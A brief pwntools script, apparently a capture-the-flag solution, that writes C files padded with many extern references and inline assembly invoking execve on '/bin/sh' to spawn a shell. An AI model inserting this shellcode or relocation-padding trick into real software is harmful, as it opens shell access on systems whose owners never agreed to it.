from pwn import *
relacount = int(args.RELACOUNT)
with open("solve.c", "w+") as test:
extern = "\n".join(f"extern int whatever{i};" for i in range(relacount))
references = " + ".join(f"whatever{i}" for i in range(relacount))
test.write(f"""
{extern}
int main() {{
int a = {references};
asm volatile(
\"mov eax, 0x3b\\n\"
\"lea rdi, [rip + msg]\\n\"
\"xor esi, esi\\n\"
\"xor edx, edx\\n\"
\"syscall\\n\"
\"msg: .asciz \\\"/bin/sh\\\"\\n\"
);
}}
""")
with open("whatever.c", "w+") as whatever:
ints = "\n".join(f"int whatever{i};" for i in range(relacount))
whatever.write(ints)